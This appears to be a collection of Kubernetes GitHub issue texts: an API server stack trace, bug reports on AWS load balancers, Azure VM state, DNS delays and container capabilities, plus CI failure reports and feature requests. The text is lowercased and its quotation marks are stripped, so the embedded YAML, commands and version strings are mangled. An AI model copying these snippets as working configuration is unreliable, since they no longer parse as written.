0xc42c9293e0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:168 +0x208\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420bc83f0, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb18\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420bc83f0, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x497acd5, 0xe, 0xc420bc83f0, 0xc4206887e0, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x4e0\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420bf9c60, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         <autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42afbf380, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x407\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42333cc40, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x497e839, 0xf, 0xc42425fa70, 0xc42333cc40, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4272a6700, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         <autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r net/http.handlerfunc.servehttp 0xc422cf14f0, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:95 +0x318\r net/http.handlerfunc.servehttp 0xc422e1c700, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r net/http.handlerfunc.servehttp 0xc422cf1540, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r net/http.handlerfunc.servehttp 0xc422cf1590, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc4272a6740, 0x7f713f81ae78, 0xc42604ac10, 0xc42c93a400 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc4272a67e0, 0xa670e80, 0xc42604ac10, 0xc42c93a400, 0xc42c8d98c0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12\\x9e\\x03\ \\x06\ \\x00\\x12\\x00\\x1a\\x00\\x12\\afailure\\x1a\\xb1\\x01unable to refresh the initializer configuration: get https://127.0.0.1:6443/apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations: net/http: tls handshake timeout\\\ \\x14loadingconfiguration \\xbd\\x01\ \\x06create\\x12\\x00\\x1a\ namespaces\\\ \\xa0\\x01\ \\x1finitializerconfigurationfailure\\x12{an error has occurred while refreshing the initializer configuration, no resources can be created until a refresh succeeds.\\x1a\\x00 \\x012\\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r    hyperkube/v1.9.2+coreos.0  linux/amd64  kubernetes/b427929  127.0.0.1:42764 \r e0409 01:31:57.327487       1 client_ca_hook.go:78  unable to refresh the initializer configuration: get https://127.0.0.1:6443/apis/admissionregistration.k8s.io/v1alpha1/initializerconfigurations: net/http: tls handshake timeout\r f0409 01:31:57.327537       1 hooks.go:188  poststarthook \ ca-registration\  failed: unable to initialize client ca configmap: timed out waiting for the condition\r    \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server 192.168.1.41:6443 was refused - did you specify the right host or port?\r    \r \r  

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when specifying multiple services using the  service.beta.kubernetes.io/aws-load-balancer-extra-security-groups  annotation the sg defined in that annotation may be the one used for ingress to the instances. if this happens for multiple service elbs and one of those services is removed then the rule may be removed during clean up causing the other elbs losing the ability to contact their instances.\r \r   what you expected to happen  :\r \r removal of any service should not lead to disruption of other services.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a security group in aws.\r 2. create multiple services referencing that sg in  service.beta.kubernetes.io/aws-load-balancer-extra-security-groups .\r 3. remove one of those services.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r - cloud provider or hardware configuration: aws\r - kernel  e.g.  uname -a  : 4.4.121-k8s

 \r \r   what happened  :\r azure cloud provider uses  vm.provisioningstate  to determine if the vm is running. which never returns true even if the vm is not running  ref: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_vmss.go l137 . the provider should uses  and parse  instanceview.statuses array -- specifically  powerstate/running  status. this currently impacts taints  i.e this taint  node.cloudprovider.kubernetes.io/shutdown:noschedule  is never added to the node as it goes down \r \r fix: \r 1. add new functioning example  getvmpowerstatus  returns true/false\r 2. replace https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_instances.go l145 logic to call this new function\r \r @feiskyer

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r \r what is the order of execution of livenessprobe and readinessprobe?\r or they execute simultaneously？\r \r i can't find it from the offical website\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i would like to be able to build kubectl as a dependency of another bazel project.\r specifically, it should be possible to add to a workspace file something like:\r     \r  http_archive \r       name = \ io_kubernetes\ ,\r       sha256 = \ 4737d3b10b27e391924f89b5ac3aaa5470619b92b75fe1ff5210cc30c56e2e53\ ,\r       strip_prefix = \ kubernetes-1.10.10\ ,\r       urls =  \ https://github.com/kubernetes/kubernetes/archive/v1.10.10.tar.gz\  \r    \r \r load_something_something_kubernetes ... \r    \r and then do\r  bazel build @io_kubernetes//cmd/kubectl:kubectl \r \r  note the  load_something_something_kubernetes  does not exist today \r \r   why is this needed  :\r this would enable using kubectl as an external dependency of  rules_k8s   https://github.com/bazelbuild/rules_k8s  project. this is very desirable as it would enable building kubectl from source  https://github.com/bazelbuild/rules_k8s/issues/227  and use that as the binary to use to execute k8s commands. we often get requests from rules_k8s users that this would be a very desirable feature. \r \r more notes below expanding on what issues i found when i tried to build kubectl as an external dep:\r \r i found the following issues:\r - the build depends on an  @org_golang_x_tools  repo. i could not find out where this is being pulled  perhaps in a repository_rule? , however, i could hack around this by copying it from the kubernetes project directly. i also needed to add manually to my workspace a  http_archive  rule to download  @io_kubernetes_build  \r \r - the repo is using genrules  e.g.  vendor/k8s.io/apimachinery/pkg/util/sets/build:23   which are running go binaries produced by other build steps, but are not referencing these properly when used in an external repo. i got this error message: \r \r    \r import \ ./vendor/k8s.io/apimachinery/pkg/util/sets/types\ : cannot find package \ ./vendor/k8s.io/apimachinery/pkg/util/sets/types\  in:\r         /usr/local/google/home/<...>/ffcac8bde6710ff680ff645bb4ae7c92/sandbox/linux-sandbox/30/execroot/io_bazel_rules_k8s/vendor/k8s.io/apimachinery/pkg/util/sets/types\r    \r \r fyi @fejta @chrislovecnm \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r   case a:  \r in namespace foo, create a statefulset named  database  and a headless service named  database , i can successfully resolve database-0.database.foo.svc.cluster.local.\r \r   case b:  \r in namespace foo, create a statefulset named  database  and a headless service named  db-svc , i failed to resolve database-0.db-svc.foo.svc.cluster.local.\r \r   what you expected to happen  :\r \r in case b, pod's subdomain should be successfully resolved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just create a statefulset and a headless service...\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : linux master 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others: kubedns docker image version 1.14.7\r

which jobs are failing  :\r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster  -  master-upgrade/gce-new-master-upgrade-cluster \r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  -  master-upgrade/gce-new-master-upgrade-cluster-new \r \r   which test s  are failing  :\r   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   \r -  ci-kubernetes-e2e-gce-new-master-upgrade-cluster  1117805679977959425  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/1117805679977959425 \r -  ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  1117872109163384835  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1117872109163384835 \r \r   since when has it been failing  :\r several failures in the past weeks.\r \r   testgrid links  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r \r   reason for failure  :\r timeouts, for example:\r    \r i0415 19:51:18.788  apr 15 19:51:18.788: info: running dig:  /usr/bin/dig +short abc.acme.local , stdout: \ ;; connection timed out; no servers could be reached\ , stderr: \ \ , err: command terminated with exit code 9\r \r i0415 19:51:41.928  apr 15 19:51:41.928: info: running dig:  /usr/bin/dig +short abc.acme.local , stdout: \ ;; connection timed out; no servers could be reached\ , stderr: \ \ , err: command terminated with exit code 9\r    \r \r /milestone v1.15\r   / \r /cc @alejandrox1 @jimangel @rarchk @alenkacz\r

i want to set kubelet clientca file path through command:\r \ kubeadm init --config=./kubeadm.yml --ignore-preflight-errors all\ \r \r genereated kubelet config file /var/lib/kubelet/config.yaml  always point to /etc/kubernetes/pki/ca.crt for clientcafile option.\r kubelet process will fail unless i overide with --clientcafile option through systemd for kubelet.\r \r my kubeadm config file:\r \r apiversion: kubeadm.k8s.io/v1beta1\r kind: initconfiguration\r localapiendpoint:\r   advertiseaddress: 192.168.64.57\r   bindport: 8443\r bootstraptokens:\r   - groups:\r       - system:bootstrappers:kubeadm:default-node-token\r     ttl: 24h0m0s\r     usages:\r       - signing\r       - authentication\r noderegistration:\r   crisocket: /var/run/dockershim.sock\r   name: knative\r   taints:   \r \r ---\r apiversion: kubeadm.k8s.io/v1beta1\r kind: clusterconfiguration\r certificatesdir: /var/lib/minikube/certs/\r clustername: kubernetes\r controlplaneendpoint: 192.168.64.57:8443\r dns:\r   type: coredns\r etcd:\r   local:\r     datadir: /data/minikube\r kubernetesversion: v1.14.1\r networking:\r   dnsdomain: cluster.local\r   podsubnet: \ \ \r   servicesubnet: 10.96.0.0/12\r \r ---\r apiversion: kubelet.config.k8s.io/v1beta1\r kind: kubeletconfiguration\r authentication:\r   anonymous:\r     enabled: false\r   webhook:\r     cachettl: 2m2s\r     enabled: true\r   x509:\r     clientcafile: /var/lib/minikube/certs/ca.crt

which jobs are failing  :\r multiple jobs on  master-informing .\r \r   which test s  are failing  :\r  before suite  on the following jobs:\r - https://testgrid.k8s.io/sig-release-master-informing kubeadm-kinder-upgrade-stable-master\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-master\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-master-parallel\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-cluster-parallel\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-cluster\r - https://testgrid.k8s.io/sig-release-master-informing gce-master-new-downgrade-cluster\r - https://testgrid.k8s.io/sig-release-master-informing gce-master-new-downgrade-cluster-parallel\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-cluster-new\r - https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-cluster-new-parallel\r \r   since when has it been failing  :\r since 5/17.\r \r   testgrid links  :\r see above.\r \r   reason for failure  :\r all the failures mentioned above seem to have to have the same root cause, namely failure while waiting for coredns to be ready.\r example: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-kinder-upgrade-stable-master/1129638974428549121\r    \r may 18 07:09:00.075: error waiting for all pods to be running and ready: 2 / 14 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                      node                   phase   grace conditions\r coredns-65546fffc9-j9p6b kinder-upgrade-worker2 running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2019-05-18 06:52:59 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2019-05-18 06:52:59 +0000 utc reason:containersnotready message:containers with unready status:  coredns } {type:containersready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2019-05-18 06:52:59 +0000 utc reason:containersnotready message:containers with unready status:  coredns } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2019-05-18 06:52:59 +0000 utc reason: message:} \r    \r \r  /  test\r /milestone v1.15\r /cc @jimangel @alejandrox1 @rarchk @alenkacz

we need a maximum object size check in validation, and there needs to be enough leeway such that when e.g. scheduler adds a node, it won't suddenly start exceeding the limit. so whatever the limit is in etcd, we need to be well under it on create, so that we'll be able to update the object adding status, etc.  otherwise, scheduler gives up with this message and the pod stays pending:      binding rejected: binding \ mm0\  cannot be updated: 502:   unhandled http status  request entity too large  with body      0

currently a service for an ingress-backend can only be selected by service-name  see https://github.com/kubernetes/kubernetes/blob/ba383bc/pkg/apis/extensions/v1beta1/types.go l588-l595   would it be possible to support service-selection by using a label-selector  similar to service.spec.selector ?  currently i have to write long descriptive service-names like that:      yaml apiversion: extensions/v1beta1 kind: ingress metadata:   name: projectx spec:   rules:     - host: projectx.com       http:         paths:           - path: /             backend:               servicename: projectx-production-webfrontend               serviceport: 80      i would like to do something like that:      yaml apiversion: extensions/v1beta1 kind: ingress metadata:   name: projectx spec:   rules:     - host: projectx.com       http:         paths:           - path: /             backend:               serviceselector:                  project: x                 environment: production                 component: webfrontend               serviceport: 80

kubernetes version    use  kubectl version  : kubelet and hyperkube 1.3.6    environment  : -   cloud provider or hardware configuration  : baremetal -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts -   kernel    e.g.  uname -a  : 4.4.0-36-generic -   install tools  : -   others  :  rkt 1.9.1, docker 1.11.1    what happened  :   capabilities need to be specified differently in a pod manifest when using docker vs when using rkt. this seems like a bug to me.  for example, attempting to create a container with cap_net_admin requires this when using docker:             securitycontext:         capabilities:           add:  \ net_admin\        but requires this when using rkt:            securitycontext:         capabilities:           add:  \ cap_net_admin\        with the former approach, docker works fine, but rkt container startup fails with  failed to parse capability net_admin.   with the latter approach, rkt works fine, but docker fails with  pod_workers.go:183  error syncing pod c6697be6ee88f37966496b9dda1e2e3d, skipping: failed to \ startcontainer\  for \ containername\  with runcontainererror: \ runcontainer: error response from daemon: linux spec capabilities: unknown capability to add: \\\ cap_cap_net_admin\\\      what you expected to happen  :   my hope is that pod manifest syntax would not be dependent on the underlying container runtime on each node.    how to reproduce it    as minimally and precisely as possible :  create a pod manifest which attempts to assign a special capability to a container's security context, then try to use it on a docker node and on a rkt node.

because of how patch is implemented, we can't manage things like configmaps through addon manager.  if a user edits the configmap and then addon manager applies the config again, the  data  field gets clobbered.  you just can't have 2 owners of an object like that.\r \r i think we have a class of addons that we want to assert absolute or near-absolute truth for, and a series that we just want to initialize and let the user own.  we only get away with this for replicas because of sane defaults.\r \r @mikedanese @mrhohn

it is too easy to point this at your foot and pull the trigger. maybe we can add an admission controller or webhook to reject the update? or perhaps an rbac webhook to only allow the addon-manager username through?\r \r http://kubernetes.io/docs/admin/admission-controllers/ how-do-i-turn-on-an-admission-control-plug-in, http://kubernetes.io/docs/admin/authorization/, https://github.com/kubernetes/kubernetes/issues/34348\r \r \r

using kubelet v1.5.2.\r \r when a node drops out due to timeouts or network connectivity, it is not able to reregister itself. kubelet remains in healthy state, so it causes a silent failure.\r \r logs are littered with the following error messages:\r \r  jan 25 09:00:31 kube-minion-onprem-1 kubelet: e0125 09:00:31.734407   14189 kubelet_node_status.go:302  error updating node status, will retry: no node instance returned for \ kube-minion-onprem-1\  \r \r it also causes scheduling issues with pods. it is showing up in pod events even though it is no longer in the node list:\r \r  {default-scheduler} warning failedscheduling node 'kube-minion-onprem-1' not found

when there is high number of services, there is a significant difference in cpu usage between 1.5 and 1.6 branch. \r \r my environments has 3 nodes, 3000 services targeting the same 20 backend pods. \r \r on a node with 1.5 kube-proxy:\r    \r $ps -p 4466 -o %cpu,%mem    \r %cpu %mem\r 31.4  6.8\r    \r \r on a node with kube-proxy in head:\r    \r $ ps -p 1579 -o %cpu,%mem    \r %cpu %mem\r  125  9.6\r    \r @kubernetes/sig-network-misc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2414/ failed:  k8s.io  configmap should be consumable from pods in volume with mappings and item mode set conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:66 expected error:     < errors.errorstring | 0xc4202e0870>: {         s: \ failed to get logs from pod-configmaps-bd237911-0489-11e7-8084-42010a800020 for configmap-volume-test: the server could not find the requested resource  get pods pod-configmaps-bd237911-0489-11e7-8084-42010a800020 \ ,     }     failed to get logs from pod-configmaps-bd237911-0489-11e7-8084-42010a800020 for configmap-volume-test: the server could not find the requested resource  get pods pod-configmaps-bd237911-0489-11e7-8084-42010a800020  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2198

is this a bug report or feature request?  :\r  \r   what happened  :\r dns lookup is sometimes taking 5 seconds.\r \r   what you expected to happen  :\r no delays in dns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cluster in aws using kops with cni networking:\r    \r kops create cluster     --node-count 3     --zones eu-west-1a,eu-west-1b,eu-west-1c     --master-zones eu-west-1a,eu-west-1b,eu-west-1c     --dns-zone kube.example.com   --node-size t2.medium     --master-size t2.medium  --topology private --networking cni   --cloud-labels \ env=staging\   ${name}\r    \r 2. cni plugin:\r    \r kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$ kubectl version | base64 | tr -d '\ ' \ \r    \r 3. run this script in any pod with that has curl:\r    \r var=1\r while true ; do\r   res=$  { curl -o /dev/null -s -w %{time_namelookup}\\\   http://www.google.com; } 2>&1  \r   var=$  var+1  \r   if    $res =~ ^ 1-9    ; then\r     now=$ date +\ %t\  \r     echo \ $var slow: $res $now\ \r     break\r   fi\r done\r    \r   anything else we need to know?  :\r 1. i am encountering this issue in both staging and production clusters, but for some reason staging cluster is having a lot more 5s delays.\r 2. delays happen both for external services  google.com  or internal, such as service.namespace.\r 3. happens on both 1.6 and 1.7 version of kubernetes, but did not encounter these issues in 1.5  though the setup was a bit different - no cni back then .\r 4. have not tested with 1.7 without cni yet.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.10\ , gitcommit:\ bebdeb749f1fa3da9e1312c4b08e439c404b3136\ , gittreestate:\ clean\ , builddate:\ 2017-11-03t16:31:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r aws\r    \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ ubuntu 16.04.3 lts\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ingress-nginx-3882489562-438sm 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r   similar issues  \r 1. https://github.com/kubernetes/dns/issues/96 - closed but seems to be exactly the same\r 2. https://github.com/kubernetes/kubernetes/issues/45976 - has some comments matching this issue, but is taking the direction of fixing kube-dns up/down scaling problem, and is not about the intermittent failures.\r \r 

happened to see this issue when using flexvolume.\r \r if we configured pod with a wrong name of flexvolume, the volume manager will only report a time out event with no error details like the following:\r \r    \r warning  failedmount            2s                kubelet, 127.0.0.1  unable to mount volumes for pod \ nginx_default 58e1c30f-f9c7-11e7-b72e-080027e3793c \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ nginx\ . list of unmounted volumes= test . list of unattached volumes= test default-token-sn7tj \r    \r \r so user needs to check the kubelet log and see a lot of errors like:\r \r    \r i0115 07:41:56.386911   10237 server.go:231  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ nginx\ , uid:\ 58e1c30f-f9c7-11e7-b72e-080027e3793c\ , apiversion:\ v1\ , resourceversion:\ 302\ , fieldpath:\ \ } : type: 'warning' reason: 'failedprocessvolume' error processing volume \ test\  for pod \ nginx_default 58e1c30f-f9c7-11e7-b72e-080027e3793c \ : failed to get plugin from volumespec for volume \ pv2\  err=no volume plugin matched\r    \r \r at present, this single time out event is not good enough for user to detect what had happened:\r user have to wait until volume attach timeout so that he/she can know there is an error with the volume.\r time out event does not show any details of the volume attach errors\r \r need to record volume processing events like “no match volume plugin” when volume manager reports the error.\r \r  /assign

currently csi plugin does not pass user credentials in nodepublishvolume and nodeunpublishvolume calls.\r   /assign @sbezverk

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r the tests in  pkg/scheduler/scheduler_test.go  depend on mocking rest/http with the utils in  pkg/scheduler/testing . it would be much simpler to use  k8s.io/client-go/kubernetes/fake.clientset  instead. none of the behavior under test depends on how the rest and http stuff behaves.\r \r /ref https://github.com/kubernetes/kubernetes/issues/68963\r   /help\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-upgrade gce-new-master-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r -   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2627 \r -   serial  csi volumes csi plugin test using csi driver: hostpath  serial  should provision storage  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2627 \r \r   since when has it been failing  :\r 2018-11-16\r \r   reason for failure  :\r    \r \ gave up after waiting 15m0s for pod \\\ pvc-volume-tester-<some_id>\\\  to be \\\ success or failure\\\ \ \r    \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    ci-kubernetes-e2e-gce-master-new-downgrade-cluster \r    ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel \r \r   which test s  are failing  :\r    up    spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1120304086290272258  \r \r   since when has it been failing  :\r 4/16. \r it is also interesting to notice that there are about 6 runs before 4/16 that are still marked as running.\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster-parallel\r \r   reason for failure  :\r the error message is:\r    \r error during ./hack/e2e-internal/e2e-up.sh: exit status 2\r    \r \r this also showed up in the logs:\r    \r cluster failed to initialize within 300 seconds.\r    \r \r  /  /milestone v1.15\r \r /cc @jimangel @smourapina @rarchk @alenkacz

currently they both use  resourcerequirements  which has  requests  and  limits  fields, but i think  limit  doesn't apply to pvclaim  or maybe it's vice-versa, but it's not a tiered request .  we should make different structs for those two cases.  now we have an api compat issue.  need to trawl docs to see if we were ever clear about which to use for pv.  we should change this before auto-privisioning goes too far, and people start using this more.  @markturansky @pmorie

